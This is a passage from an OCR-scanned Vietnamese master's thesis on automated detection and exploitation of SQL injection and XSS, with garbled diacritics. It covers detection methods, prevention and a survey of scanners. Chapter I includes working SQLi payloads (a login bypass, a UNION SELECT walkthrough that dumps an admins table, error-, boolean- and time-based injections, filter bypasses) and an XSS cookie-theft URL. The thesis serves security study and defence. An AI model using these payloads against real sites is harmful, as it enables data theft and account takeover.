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LOI CAM DOAN

T6i xin cam doan ndi dung cia luan van “Phan tich tw déng cac
Website dé phat hién 16 hong tiém nhiém SQL va XSS” 1a san pham cua riéng ca
nhan t6i, khdng sao chép lai ctia nguoi khac. Nhiing van dé duogc trinh bay trong
luan van 1a két qua caa qué trinh hoc tap, nghién cau, 1am viéc caa ban than. Tat

ca tai lidu tham khao déu c6 xuat xa rd rang va duoc trich dan hop phép.
Ti xin chiu hoan toan trach nhiém cho 1oi cam doan cua minh.
Ha Noi, ngay 17 thang 4 nam 2017

Nguoi cam doan

Ping Thi Ngoc Tuyét



LOI CAM ON

T6i xin bay to 1ong biét on sau sic dén TS. Nguyén Dai Tho di tan tinh
gitip d& toi trong suét qua trinh hoc tap va lam luan van, truyén cho t6i nhitng
kinh nghiém quy bau trong thoi gian thuc hién dé tai.

T6i xin giri o1 biét on siu sac téi cac thay cd trong Khoa Cong nghé Théng
tin, Pai hoc Cong nghé - Pai hoc Qudc gia Ha Noi di truyén dat cho toi nhiing
kién thirc vo cting quy bau, dinh huéng cac van dé nghién ciu noi bat hién nay.

T6i ciing mudn cam on cac chuyén gia, ddng nghiép da chia sé nhitng tai
liu quy béu, hd tro va gop ¥ vé mat chuyén mon dé toi hoan thanh luan van.

Cudi cling, tdi xin cam on gia dinh, ban bé di luén bén canh tng ho va

dong vién khuyén khich tao diéu kién cho t6i c6 thoi gian nghién ctu.

Ha Noi, thang 4 nam 2017
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DANH MUC THUAT NGU, TU VIET TAT

Brute force

K thuat doan thir dang/sai lién tuc tai khoan dang nhap

Bypass Ky thuat dé vuot qua bo loc ctia quan tri vién
CSDL Co so dir liéu

URL bia chi cia mot tai nguyén trén mang Internet
Scanner Cong cu quét 16 hong an ninh

Crawl Thu thap dir liu

Crawler B0 khao duyét web

XSS payloads | Danh sach cac doan ma dé khai thac 16 hong XSS
CSP Chinh sach an ninh dir liéu

GHDB Str dung Google dé tim kiém thong tin d6i twong
FTP Giao thic truyén tap tin

RDP Giao thurc truy cap may tinh tir xa

Cookies Tap tin luu trir thong tin duyét web

SQLi Lb hong tiém nhiém SQL

XSS L5 hong Cross-site scripting
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MO DPAU

Pit van dé:

Hién nay cung véi su phat trién nhanh chéng ciia cong nghé va tmg dung
web, van dé an ninh web dang tré nén cép thiét nhim dam bao an toan thong tin
cho tit ca ngudi ding. Ung dung web di tré thanh muc tiéu tdn cong phd bién
clia tin tic v&i cac hinh thirc tn cong ngdy cang tinh vi va phic tap. Theo thong
ké trén Zone-h.org, trung binh mdi ngay c6 hon mot triéu website bi tin cong,
trong d6 c6 hang tram website cua Viét Nam. Thoi gian gan day lién tuc xay ra
nhiéu vu tin céng mang vao co quan chinh phil, co so ha ting trong yéu, to chiic
tai chinh gy ton that vé tai chinh, bat on chinh tri va 1am anh huong cudc song
ctiia ngudi dan. Trong cac cudc tin cong d6, 16 hong bi khai thac nhiéu nhat 13
tiém nhiém SQL (SQLi, chiém 15% cac cudc tan cong 16 hong an ninh web) va
Cross-site scripting (XSS, chiém 18%) [19]. Vi cac 16 hong nay, tin tic c6 thé dé
dang tin cong, chiém quyén diéu khién, truy cdp vao cac ngudn thong tin nhay

cam, gdbm ca thong tin ¢4 nhan nguoi dung.

Trén thé gidi, nhiéu t6 chiic, c4 nhan di phat trién cac phin mém dé phat
hién va khai thac 16 hong an ninh web nhu: Acunetix, SQLMap, Havij,
BurpSuite, ZAP, XSSer, Nmap... Tuy nhién, da s6 c4c phan mém nay 1a san
pham thwong mai, néu 1a phién ban mién phi s& bi gidi han nhiéu tinh nang, khé
nang cap, bao tri. Ngoai ra, cic phan mém chi thyc hién khai thac mét 16 hong an
ninh chuyén biét hodc chi chd trong phat hién 156 hong an ninh, chua tip trung
phan khai thac. Vi dy, Acunetix 12 phin mém thuong mai dung dé do quét 15
hong tang ung dung web nhu SQLi va XSS, nhung viéc thuc hién phéan tich XSS
khong hiéu qua nhu cac cong cu khac; SQL Map va Havij c6 kha nang phat hi¢n
va khai thac SQL.i tot nhung khong do quét 16 hong XSS, khong thu thap (crawl)
dir liéu; BurpSuit va ZAP tich hop nhiéu tinh ning nhung chu yéu tap trung phan
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phat hién 16 hong an ninh 1a chinh, chua tap trung khai thac 156 hong; NMap va
Xprobe dung dé xac dinh host sin c¢6 hodc cac dich vu c¢6 thé truy cip nhung
chua c6 kha ning phan tich 15 hong an ninh tang tmg dung; XSSer, Scott va
Sharp chi tap trung vao 16 hdng XSS nhung chii yéu dé dé xuat trién khai tudng

ltra mirc (ng dung, xay dung chinh sach dé bao vé tng dung web.
Muc tiéu nghién ciru:

Véi su pho bién va mirc d6 nguy hiém cua hai 16 hong an ninh website 1a
SQLi va XSS, luan vin lya chon dé tai nghién cau “Phan tich tw déng cac
Website dé phat hién 16 hong tiém nhiém SQL va XSS” véi mong mudn nghién
ctru cach thie khai thac 16 hong an ninh web, dong thoi xay dung mot phan mém
hd trg dic luc trong qué trinh kiém tra I hong an ninh, dic biét c6 kha ning phat
hién va khai thac t6t 16 hong SQLi va XSS. Ngoai ra, phan mém nay bd sung
thém mot sb tinh nang nhu kiém tra host ting mang, quét cong, brute force tai
khoan ding nhap FTP va RDP, do quét cac file nhay cam, duong dan trang ding
nhép cua website... Phan mém dugc xay dung mai tu dau nhim muc dich c6 thé
dé dang tly bién chtc ning, giao dién theo nhu cau nguoi st dung, c6 thé nang
cap khi can thiét, dong thoi khiac phuc mét sé nhuge diém cta cac phan mém quét
hién c6. Phan mém kiém tra 15 hong an ninh theo hinh thitc hop den (kiém tra g
dung tir bén ngoai, cac dit liéu dau vao va cac dir liéu xuat ra ma khong can quan
tam dén hoat dong bén trong ciing nhu ma ngudn cta tmg dung), do d6 co thé dé

dang str dung véi ca nhitng ngudi khong cd kién thirc vé an ninh mang.
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Noi dung nghién cwu:

- Nghién ctu tong quan 16 héng an ninh @ng dung web.

- Nghién ciu nguyén ly, cach thic hoat dong mot sé cong cu do quét 15
hong an ninh web phd bién hién nay (SQL Map, Havij, Acunetix, Burp Suite...).

- Nghién ctru phuong phép thu thap, trich xuét cau trdc mot website.

- Nghién ctru phuong phap phat hién 16 hong an ninh SQLi, XSS.

- Nghién ctru phuwong phap khai théc 16 hong an ninh SQLI, XSS.

- Nghién ctu xtr ly song song qué trinh phat hién va khai thac 16 hong
SQLi va XSS dong thoi nhiéu muc tiéu.

- Nghién cttu phuong phap brute force tai khoan FTP, RDP.

Két qua nghién ciru:

Luan van da xay dung thanh cong phan mém phan tich ty dong website, c6
thé phat hién va khai thac tot cac 16 hong SQLi véi Co sé dir lieu (CSDL)
MySQL, SQL Server, ky thuat Error based, Blind va 15 hdng XSS; c¢6 kha ning
phat hién va khai thac 15 hdng SQLi va XSS véi mot sb website ma mot s6 phan
mém quét hién tai khong lam duoc. Thir nghiém véi 3289 URL c6 kha ning co
15i SQL.i va XSS, cdng cu nay c6 thé phat hién 767 URL c6 15i SQLi va 100 URL
c6 16i XSS, thuc hién trong thoi gian nhanh hon mot sé6 phan mém quét hién tai.
Ngoai ra, phan mém bo sung thém nhiéu tinh ning hd tro téi da qua trinh do quét
156 héng an ninh web nhu: kiém tra 16 hong bao mat cing 10c nhiéu website; khai
thac dong thoi ca 16i SQLi va XSS; 1ap lich kiém tra 16 hong website; Brute Force
tai khoan FTP, RDP; tim dudng dan thu muc nhay cam.
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Bo cuc luin vin:

Chuwong I: Téng quan vé 16 hong an ninh &ng dung web, giéi thiéu 15
hong SQL.i va XSS

Gidi thiéu tong quan vé cac 16 hong an ninh tng dung web, cac hinh thirc
tan cong 16 hong SQLI, XSS va cac phuong phap khai thac cua timg loai tin
cong, cach thirc nguoi quan tri, 1ap trinh vién thuc hién dé tranh bi tin tic khai
thac cac 16 hong an ninh trén.

Chuwong II: CAc giai phap quét 16 hong ing dung web

Gi6i thiéu vé giai phap quét 16 hong va mot sd cong cu do quét 16 hong an
ninh ing dung web phé bién hién nay, uu nhugc diém tirng cong cu.

Chuwong III: Xay dung phan mém phén tich tw dong website phat hién
va khai thac 16 hong an ninh SQL.i va XSS

Trinh bay cach thirc xay dung phin mém phét hién va khai thac 16 hong
SQLi va XSS. Xay dung so d phan rd chirc niang, thuat toan, mo-dun chiic ning,
thuc hién khai thac cac truong hop cu thé dé khai thac nhiing website c6 16 hong
SQLi va XSS ma nhiing cong cu hién tai khong lam duoc, dong thoi tich hop
nhiéu tinh nang mai.

Chuwong IV: Trinh bay két qua thue nghiém

Thir nghiém cac chirc nang cua ph?m mém va danh gia hiéu qua hoat dong,

so sanh két qua véi mot s6 phan mém Khac.
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CHUONG I: TONG QUAN VE LO HONG BAO MAT UNG DUNG
WEB, GIOI THIEU LO HONG SQLI, XSS

1.1. L& héng an ninh ing dung web

Ngay nay, vé&i su phét trién khdng ngung caa cac tng dung web thi cac
cudc tan cdng ting dung web ciing phat trién hét sic phuc tap. Piéu nay da dit ra
van dé cap thiét 1a can 1am thé nao dé dam bao an toan théng tin cho tng dung
web, thdng tin cta ngudi st dung. Hién tai cd kha nhiéu phan mém hd tro lap
trinh vién, chuy@n vién quan tri mang tim kiém 15 héng caa ang dung web. Tuy
nhién, cac phan mém nay khéng theo kip su phat trién nhanh chéng cua céac tng
dung web, khdng thé ngan chian hoan toan cac cudc tan cdng véi phuong thic da
dang, nguy hiém trong bdi canh 156 hong tng dung web bi phat hién ngay cang
nhiéu. Théng ké cho thay, hon 90% cac (ng dung web ton tai cac 16 hong an ninh
va 75% cudc tan cong mang tap trung vao cac ung dung web [18]. Du &n m& vé
an ninh ang dung web OWASP da phan loai 10 156 hong ung dung web phd bién
va nguy hiém nhét hién nay gom [17]: Al- Nhing ma (Injection); A2- X4c thuc
hay quan Iy phién thiéu chinh xac; A3- Thuc thi ma Script xau (XSS); A4- Péi
tuong tham chiéu khong an toan; A5- Sai s6t trong cau hinh an ninh; A6- Lo di
liu nhay cam; A7- Biéu khién truy cap mac chic niang khong an toan; A8- Tan
cong gia mao (CSRF); A9- Sir dung thanh phan chira 16 hong di cong khai; A10-
Chuyén huéng va chuyén tiép khdng an toan.

1.2. L hong an ninh SQLi

1.2.1. Gi6i thi¢u 16 hong SQL.i

SQLi 12 16 héng trong viéc kiém tra dix liéu dau vao cua cac tng dung web
va cac thdng bao 16i cua hé quan tri CSDL tra vé, duoc tin tic khai thac bang
cach tiém cac ma SQL dé thyc thi cau lénh bat hop phap, dang nhap ma khéng
can tén tai khoan va mat khau, thuc hién truy cap tir xa, x6a dit liéu, 1y quyén

quan tri cia may chu.... Khai thac 16 hong SQLi 1a mét trong nhiing hinh thuc
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tan céng website pho bién hién nay. Pa sb tng dung web sir dung hé quan tri
CSDL MySQL, SQL May chu, Oracle, DB2, Sysbase déu c6 kha ning dinh 18
hong SQLi. So dd minh hoa viéc tin cong SQLi dugc md ta trén Hinh 1. Mdi khi
nguoi ding tién hanh dang nhap vao tai khoan truc tuyén, ho s& phai cung cap
thong tin vé Username va Password. Trong quy trinh kiém tra va x4c nhan tinh
hop phap cua tai khoan d6, hé thong hoic tng dung web tuong ung sé chay 1 cau

lénh truy van c6 dang nhu sau:

SELECT * FROM Users  WHERE User_id='srinivas’ AND
Password="mypassword’;

Néu ké tan cong chén doan ma ' OR 1=1;/* vao gia tri User-ld va */-- vao

gia tri Password, cau lénh truy van s& c6 dang:

SELECT * FROM Users WHERE User _id=" OR 1=1;/*' and password="*/--'

Pay 1a cau 1énh co6 diéu kién ludn dung, do d6 ké tin cong cd thé lay toan

bo dir liéu cua bang Users.

SQL Injection.

User-Id } grinivas

Password : mypassword

select * from Users where user_id= " srinivas ’ <
and password = " mypassword ’

Userddi* QR 1= 1: J*

Password | ® /- \
&

select # from Users where user jd=""0R 1 = 1} J*
and password = " #/— '

Hinh 1: So' d6 minh hoa tdn céng SQLI
1.2.2. Phwong phap phat hién 15 hong SQLi

CAc todn tir dé tu dong phat hién 15 hong SQLI chia 1am 03 dang [3, 4, 5]:
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- Toan ti thay ddi hanh vi: or '1'="1, and '1'="1, ;DROP ALL TABLES;--

- Toan tir thay d6i cu phap cau lénh SQL: *,™,), -, *, -, #.

- Toan tr lam mo:

+ Thay whitespace bang Ky tu +, /**/, hodc gié tri unicode %20,%09,%0a,
%0b, %0c, %0d, %a0;

+ Thay dau ' bang %27;

+ Thay 1=1 bang not false=!11;

+ Thay select bang SELECT hoic SeLeCt, sel/*comment here*/ect.
Sau khi thém céc toan tir sau gia tri dau vao, gai yéu cau dén may cha web, phan
tich trang phan hoi néu xuat hién cac dau hiéu nhu sau thi website d6 c6 16i SQLI:

- Xuét hién thong bao 15i tir may chi web;

- Xuét hién théng bao 15i an trong websource;

- Chuyén huéng toi trang web khac;

- B&o 16i 500 (Internal Server Error);

- Khéng hién thi gi hoac hién thi khéac so voi trang ban dau;

- Néu diéu kién dung thi hién thi trang ban dau, diéu kién sai thi hién thi 13i
hoac khéc so voi trang ban dau.

* V/6i tng hé quan tri CSDL khac nhau hoic dang 16i SQLi khac nhau s&
xuat hién théng béo 13i khac nhau [11,13,16].

- B6i voi CSDL MySQL xuét hién céc 16i:

+ You have an error in your SQL syntax;

+ mysql_fetch_array();

+ mysql_fetch_assoc().

- B4i voi CSDL Ms SQL Server xuét hién cac 1i:

+ Microsoft SQL Native Client error;

+ Microsoft OLE DB Provider for SQL Server;

+ Unclosed quotation mark after the character string;
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+ Microsoft OLE DB Provider for ODBC Drivers;

+ ODBC SQL Server Driver;

+ Unclosed quotation mark after the character string.

- B6i voi CSDL oracle xuat hién 15i: SQL command not properly ended.

- B6i véi CSDL Postgre SQL xuat hién céc 15i:

+ Query failed: ERROR: syntax error at or near;

+ PSQLEXxception : ERROR;

+ Free and Open Source Software (FOSS).

- Déi vai 16i SQLI dang Error based xuat hién 15i: Invalid query: The used
SELECT statements have a different number of columns.

- Béi véi 16i SQLi dang Blind: Ta thém sau gia tri ¢au vao chudi ** and
(true)" tra vé dung trang ban dau; Néu thém chudi " and (false)' tra vé khac

trang ban dau.
1.2.3. Phwong phap khai thac SQL.I

Khai thac 16 héng SQL.i c6 cac phuong phap nhu sau [8,9,12,14,16]:

Union query based: Pay la phuong phap pho bién khi khai thac Sql
injection. Co s& cua no 1a sir dung tir khoa union dé gop cac két qua cia cac ménh
dé select, qua dé lay duoc théng tin tir CSDL. Vi du véi cau lénh sau, ta c6 thé

ldy duoc tén CSDL cua website.

http://www.site.com/index.php?id=1 union select 1,2,database(),4,5--+

Boolean based: Co s cua ky thuat nay la viéc so sanh dung sai dé tim ra

tung Ky tu cua nhitng thong tin nhu tén bang, tén cot, dir lidu.

http://www.site.com/index.php?id=1
AND ASCII(SUBSTRING(username,1,1))=97 AND '1'="1

Néu ky tu dau tién cua trudng username cé gia tri ASCII bang 97 thi sé tra

vé két qua dung.
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Error based: Khai thac cac 16i ca phap dé trich xuat théng tin. Vi du dé

lay tén CSDL ta st dung cau lénh nhu sau:

http://www.site.com/index.php?id=1 and (select 1  from (select
count(*),concat((select(select concat(cast(database() as char),0x7e)) from
information_schema.tables where table_schema=database() limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Time based: Dua thoi gian xt Iy cia co so dit liéu sau do tra vé két qua dé

xac dinh cau truy van Sgl c6 thuc hién thanh céng hay khong.

http://www.site.com/index.php?id=1 AND IF(version() like ‘5%’, sleep(10),
‘false’))--

Cau lénh nay kiém tra phién ban MySQL c6 phai la 5.x bang cach tao do

tré trén server 10 giay.

Ngoai ra, mot s6 website chian cac truy van chira cac ham union, select,
convert..., dan dén két qua truy van tra vé khong mong mudn. Do vay, bat bugc
phai st dung ky thuat "bypass", dé vuot qua cac bod loc SQL. Mot s bypass
thong thuong nhu thay d6i 1 s chit Hoa, thuong xen k& nhau (UniON,
SeLECt...) hodc ky tu sang mad ASCII, néu khong hién ra table_name, ta thyc

hién: unhex(hex(group_concat(table_name)).

Trong tung phuong phéap khai thac trén, véi mdi hé quan tri CSDL khéc
nhau, c6 cac cau Iénh khai thac khac nhau. Cac budc thuc hién khai thac 16 hong
SQLi bao géom: (1) Xac dinh hé quan tri CSDL bao gom loai co sé dit liéu
(mysql, ms sql server, oracle, ms access...) va phién ban caa nd; (2) Xac dinh sb
cot va vi tri cot 16i; (3) Xac dinh tén CSDL; (4) Xac dinh tén cac bang; (5) Xac
dinh tén cot; (6) Xac dinh dir liéu Iuu trit trong CSDL.

Du6i day trinh bay cu thé k§ thuat khai thac UNION SELECT véi CSDL
MySQL:

- Xac dinh phién ban MySQL.:
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http://www.site.com/index.php?id=1 Union Select 1,2,version(),4,5-- -

- X4c dinh s6 cot trong bang hién tai: Sir dung cau lénh order by

http://www.site.com/index.php?id=1 order by 6-- - 15i
http://www.site.com/index.php?id=1 order by 5-- - khdng 16i

Vay bang hién tai c6 5 cét.

- Xac dinh vi tri cot 16i: st dung cau Iénh UNION SELECT

http://www.site.com/index.php?id=1 Union Select 1,2,3,4,5-- -

Nhitng con sé tra vé chinh 1 vi tri cot 15i. Cha y, néu trang phan hdi khéng

tra vé nhiing con sb ta c6 thé 1am nhu sau:
+ View page source xem c0 s trong d6 khong;
+ Xem file anh bj 16i dé thay s6;

+ Thay id bang null (http://www.site.com/index.php?id=null... );

+ Thay cac column bang null (http://www.site.com/index.php?id=1 Union

Select null,null,null,null,null-- - );
+ Bypass filter;
+ Khai thac Error Base hoac Blind SQLI;
Gia str vi tri cot 15i 1a 3.

- Xac dinh tén database:

http://www.site.com/index.php?id=1 Union Select 1,2,database(),4,5-- -

- Xac dinh tén bang:

http://www.site.com/index.php?id=1 Union Select
1,2,unhex(hex(group_concat(table_name))),4,5 From Information_schema.tables-

Gia st két qua tra vé gom cac bang:
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CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET _
APPLICABILITY,USER_PRIVILEGES,VIEWS, admins, articles... Ta chi quan

tam dén bang admins.

- Xac dinh cac cot cua bang admins:

http://www.site.com/index.php?id=1 Union Select
1,2,unhex(hex(group_concat(columns_name))),4,5 From
Information_schema.columns where table_name=0x61646d696e73-- -

0x61646d696e73 la dang ma hexa cua admins.
Gia st cac cot cua bang admins la: id, username, password, email

- Tim dix li¢u bang admins:

http://www.site.com/index.php?id=1 Union Select
1,2,unhex(hex(group_concat(id, 0x2f, username,0x2f,password, 0x2f,
email))),4,5 From admins-- -

Ox2f: la dang hex cua ki tu "/".

1.2.4. Phwong phap phong chong SQL.i

Pé phong chdng 16 hong SQLI, ¢ cac phuong phap nhu sau [2]:
- Mé& hoa ky ty trén dia chi URL trudc khi dugc sur dung.

- Khéng hién thi théng bao 16i cho ngudi dung bang cach thay thé
nhitng 15i thdng béo bang 1 trang do ngudi phét trién thiét ké.

- Kiém tra gia tri nhap vao ciia nguoi dung, thay thé nhiing ki tu nhu
¢s... loai bo cac ki tw meta nhu *,"",/,\,; va cac ki tu extend nhu NULL, CR,
LF, ...trong cac chudi nhan duoc tir dir liéu nguoi dung nhap vao, cac tham
sb URL, C4c gia tri tir cookies.

- Chuyén cé4c gia tri numeric sang integer truéc khi thuc hién cau
truy van SQL hoic dung ISNUMERIC dé chac chan n6 1a mot s6 integer.

- DuNg thuat toan dé ma hoa dit liéu.
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- Khoé chat SQL May chu:

+ DUNg tién ich Network Utility dé kiém tra rang, chi ¢ cac thu vién mang

dang dung 1a hoat dong.

+ Kiém tra tit ca céc tai khoan c6 trong SQL May chu: chi tao tai khoan c6
quyén thap cho céac tng dung, loai bo nhing tai khoan khéng can thiét, dam bao
rang tat ca tai khoan c6 mat khau hop 16.

+ Kiém tra cac d6i tugng ton tai: xda bo céc extended stored procedure,
X04 bo tat ca CSDL miu nhu “northwind” va “pubs”, x6a cac stored procedure
khong dung nhu: master.xp cmdshell, xp_ startmail, xp_ sendmail,
sp_makewebtask...

+ Kiém tra nhiing tai khoan nao cé thé truy xuat dén nhiing d6i tuong nao:
d6i voi nhitng tai khoan cia mot tng dung nao d6 dung dé truy xuat CSDL thi chi
duogc cap nhitng quyén han can thiét toi thiéu dé truy xuat dén nhiing ddi tuong
no can dung.

+ Kiém tra cac phién 1am viéc trén may chu.

+ Thay d6i "Startup va chay SQL May chu" & mic ngudi dung quyén han
thap trong SQL May chu Security.

1.3. Ld hdng an ninh XSS
1.3.1. Giéi thiéu 16 hdng an ninh XSS

XSS 1a mot kiéu tdn cong cho phép tin tic chén nhitng doan script doc hai
(thuong 14 javascript hoac HTML) vao website va thuc thi trong trinh duyét cta
ngudi ding nham danh cip nhitng thong tin quan trong nhu cookie, mat khau...
XSS khong tan cong vao may chil cia hé théng ma cha yéu tin cong trén may
client ctia ngudi dung. Pay 1a mot trong nhiing k¥ thuat tin cong phd bién nhat

ctia cac (mg dung web va ngay cang nguy hiém [1].

Nhitng phuong phap tin tic c6 thé khai thac qua 16 XSS:
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- Panh cip cookie: tin tic co thé 1dy duoc cookie ctia ngudi dung va sir
dung thong tin danh cap dé gia mao phién truy cip hoic lay nhitng thong tin nhay
cam khéc duoc luu trong cookie.

- Keylogging: tin tic c6 thé ghi lai nhiing thao tac gd phim ciia ngudi ding
bang cach st dung sy kién addEventListener trong Javascript nham danh cép cac
thong tin nhay cam, ldy mat khau truy cip website hodc ma sb thé tin dung. ..

- Phishing: tin tic co thé tao ra nhitng website gia lira ngudi dung ding
nhap dé danh cap mat khau.

1.3.2. Phan loai XSS

XSS duoc chia lam 3 dang chinh: XSS Iuu trit, XSS phan xa, DOM-based
XSS.

1.3.2.1. XSS luvu triv

XSS luu trit 13 dang tan cong ma tin tac cheén tryc tiép cac ma doc vao
CSDL cua website. Dang tan cong nay xay ra khi cac di liéu duoc gui 18n may
cha khong dugc kiém tra ki ma luu tryc tiép vao CSDL. Khi ngudi dung truy cap
vao website nay thi nhitng doan script doc hai s¢ duoc thuc thi chung vaoi qua

trinh load website. Dang tin cong nay duoc md ta nhu sau (Hinh 2):

Attackar |
1

g
4 :wﬂ“"-{"'--"
et
3 !‘_,1,‘}
Yicum Ingects bod script
, (2
—
R, oy
"‘t"m-’?-ém, = 1
iy ' \
p ==
Victim's sarver

Hinh 2: Cdc buéc tin cong Persistent XSS


http://phpcoban.com/wp-content/uploads/2015/07/Figure-3_stored-attack.jpg
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(1) Tin tac s& tim nhitng 6 nhap dit liu nhu: form dang ky, tim kiém,
comment, lién hé...khong duoc kiém tra ky dir liéu dau vao va tién hanh chén céac
doan ma doc vao CSDL.

(2) Nguoi dung truy cap vao website giri yéu cau request dén may chu.

(3) Cac doan scrpit s& duoc chay chung vai website tra vé cho ngudi dung.

(4) Khi cac doan script duoc thuc thi s& guri vé cho tin tic nhitng théng tin

nhu cookie, session token...

1.3.2.2. XSS phan xa

XSS phan xa 1a dang tdn cong ma tin tic giri cho nan nhan mot URL c6
chtra doan ma nguy hiém. Nan nhan chi can request dén URL nay thi ngay lap tac
tin tic s& nhan dugc respond chira két qua mong mubn. Non-Persistent XSS
thuong dung dé an cip cookie, chiém session hoic cai keylogger, trojan ... vao

may tinh nan nhan. Dang tan cong nay duoc md ta trén Hinh 3.

4

hEEp: e b LguaFrbanhesd nrevch, amPgscpcr ipt s peres
Imag 4 WEEE: f Amal 15 an - doma b —
b fascked enkLan . pf g senadon conkcles™sdacumert_cookie 4 uripts

Hinh 3: Cdc buéc tin cong Non-Persistent XSS
Trudc tién, tin tac s€ gui cho nan nhan mot duong link ¢6 chira ma doc hai
di kem, thuong tin tac s€ ma hdéa URL thanh nhitng ky tu khd doc dang nhu:
http%3A%2F%2Fvictim.com%2Findex.php%3Fid%3D%3Cscript%3Ealert%28d
ocument.cookie%29%3C%2Fscript%3E . Khi nguoi dung kich vao duong link
duoc tin tac gui, trinh duyét s€ tai website va thuc thi cac doan script kem theo,

sau do giri vé cho tin tac nhitng thdng tin cia nan nhan.


http://phpcoban.com/wp-content/uploads/2015/07/xss-example-1.gif
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1.3.2.3. DOM-based XSS

DOM-based XSS 14 mot dang tin cong lam thay doi cau triic caa website
bang cach thay d6i cau tric HTML. Tin tic s& chén cac doan script nham lam
thay doi giao dién mic dinh cua website, tao ra form dang nhap gia va lira nguoi

ding ding nhap dé chiém tai khoan cua ho.
1.3.3. Qué trinh phat hién 16 hong XSS

Qua trinh phét hién 16 hong XSS theo phuong phap hop den gom 03
giai doan:

- Xac dinh vi trf trén website cho phép nhap gié tri dau vao;

- Cheén cac doan m script doc hai vao vi tri nhap gia tri dau vao;

- Kiém tra néu script dugc thuc thi hodc xuat hién script trong websource
thi website d6 ¢ 16 hong XSS.

Hién tai, nguoi 1ap trinh da thuc hién nhiéu bién phap dé loc script hoic
cau hinh firewall chin cac script doc hai, tuy nhién van c6 thé vuot qua viéc loc
biang céach thuc hién ma hoa ky tu metadata hodc doi sang mad ASCII... Luan van

da tong hop dugc 433 payloads dé phét hién va khai thac XSS.
1.3.4. Cach thirc phong chong 16 hong XSS
Pé phong chéng tin tic khai thac 156 hong XSS, 1ap trinh vién phai thuc

hién loc va kiém tra dir liéu dau vao tir phia nguoi dung hoac kiém tra, ma hoa gia

tri Xuat cho nguoi dung [1].

- Loc: Ludn ludn loc céc dir liéu nhap tir phia nguoi dung bang cach loc
cac ki tu meta (ki tu dac biét) duoc dinh nghia trong dac ta caa HTML, st dung
ham encode dé chuyén cac ki tu < > thanh &It; %gt.

- Kiém tra dit liéu dau vao: Loai bo hoan toan céc ki tu kha nghi trong
input cua nguoi ding, hoic théng bao 16i néu trong input c6 cac ki ty nay. St
dung céc thu vién dé loc cac thé HTML, CSS, JS.



26

- M4 héa: Thuc hién ma hoa phia may chu web, dam bao tit ca céc noi
dung phat sinh dong s€ di qua mot ham ma hoa ngan chay cac script khdng mong
mudn. Tuy nhién viéc ma hoa tat ca dit liéu khong dang tin cay c6 thé ton tai
nguyén va anh huéng dén kha niang thyc thi caa mot sé may chi.

- Dung chuan CSP dé chéng XSS: Vi CSP, trinh duyét chi chay
JavaScript tir nhimg domain duoc chi dinh. Pé st dung CSP, may cha chi can
thém header Content-Security-Policy vao mdi phan héi. Noi dung header chira

nhitng domain ma ta tin tudng.
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CHUONG II: KHAO SAT CAC PHAN MEM QUET LO HONG
UNG DUNG WEB HIEN NAY

2.1. Tong quan phin mém quét 15 hong ing dung Web

2.1.1. Gi6i thiéu phan mém quét 16 hong ing dung Web

Phan mém quét c6 kha ning phét hién, khai thac, danh gia 16 hong an ninh
cua hé théng thong tin bao gdm may tinh, hé théng mang, hé diéu hanh va céc
ting dung. Cac 16 hong d6 co thé xuat phét tir nha cung cap, ngudi quan tri mang,
ngudi dung.

Uu diém: Cac phan mém quét c6 thé phat hién sém va xu 1y cac 16 hong

an ninh cua hé thong thong tin.

Nhuoc diém: (1) Cac phan mém quét chi xac dinh 156 hong an ninh trong
mét thoi diém nhat dinh twong Gng voi mot trang thai cua hé thdng. Do vay, viéc
quét 16 hong an ninh phai duoc tién hanh thuong xuyén, vi nhitng 16 hong méi ¢6
thé xuét hién hoic nhitng thay d6i cau hinh hé thdng c6 thé phat sinh 15 hong
méi; (2) Phan mém quét khong xac dinh duoc cac truong hop duong tinh gia
hoac am tinh gia. Do d6, can c6 yéu t6 con ngudi dé phan tich sau qua trinh thuc
hién quét; (3) Cac phan mém nay chi phét hién duoc nhitng 16 hong an ninh da
biét dugc luu trong CSDL khong xac dinh duoc céc 16 hong lién quan vat ly, qua
trinh van hanh [20].

2.1.2. Phwong thirc hoat dong cuia phz‘in mém quét 16 héng ung
dung Web

Cac phan mém quét hién nay, ké ca cac phan mém thuong mai hay céc
phan mém ma ngudn mé déu khéng cong bé mé hinh hoat dong. Qua nghién cuau
code, thir nghiém tinh ning ciing nhu thuc hién chan bat phan tich cac goi tin,
nhan thiy qua trinh do quét 156 hong thuong gém 03 giai doan: Crawling,
Scanning, Attack. Crawling la qué trinh thu thap duong dan con, xac dinh ciu

trdc cua website; Scanning 1a qua trinh phan tich gia tri ¢au vao, do quét 15 hong
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an ninh tr thong tin thu thap duoc ¢ giai doan crawling; Attack la qué trinh gia

lap c&c thao tAc ma tin tac c6 thé 1am dé tan cong tng dung web.

MJ3i cdng cu quét 15 héng an ninh ¢6 thé bao gom 01 hoic ca 03 giai doan
trén. Vi moi giai doan, mdi cong cu st dung cac phuong phéap khac nhau do dé
tinh hiéu qua ciing khac nhau. Ty thudc vao yéu cau ngudi sir dung ma lua chon
cong cu phu hop [6,7].

2.2. Gi6i thi¢u mdt s6 phan mém quét pho bién hién nay

2.2.1. Secubat

La phan mém tu dong phat hién va khai thac 16 hong SQLi va XSS. Gom 3
thanh phan: Crawler, Analysis, Attack. Crawler: lay cac URL cap dudi ciia mot
website; Attack: vai titng URL thu thap duoc, Kiém tra c6 ton tai 156 hong an ninh
hay khong, néu cd thi thuc hién khai thac. Analysis: Sau khi thuc hién tan cong,
kiém tra md phan hoi tir phia may chu va xac dinh qua trinh tan cong c6 thanh

cong hay khong.
* Qua trinh phan tich:

- Kiém tra 16 hong SQLi: Pé phét hien mot URL ¢ 16 hong SQLI,

Secubat thém ddu "™ sau gid tri dau vao, sau d6 kiém tra I6i phan hoi tra vé tur

may chi. Phan mém nay sir dung bd tir khda nhu trén Hinh 4 dé xac dinh 13i:
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Keyword Confidence Factor
sqlexception 110
runtimeexception 100
error occurred 100
runtimecxception 100
NullPointerExceplion 00
org.apache 00
stacktrace 00
potentially dangerous 80
internal server error 80
executing statement =0
runtime error 80
exception =0
Javalang il
crror 500 o
slatus 500 75
error occurred 75
error report 70
incorrect syntax T0
sql server 70
SeTver error 70
oledb B0
odbe fil)
mysql &0
syntax error al
tomeat 45
sql 40
apache 35
invalid 20
incorrect 20
missing 10
wrong 10

Hinh 4: B¢ tir khéa Secubat sir dung phdt hién SOLi
MJi tir khoa tuwong ng 6 mot yéu to tin cay. D6 1a con sé miéu ta kha
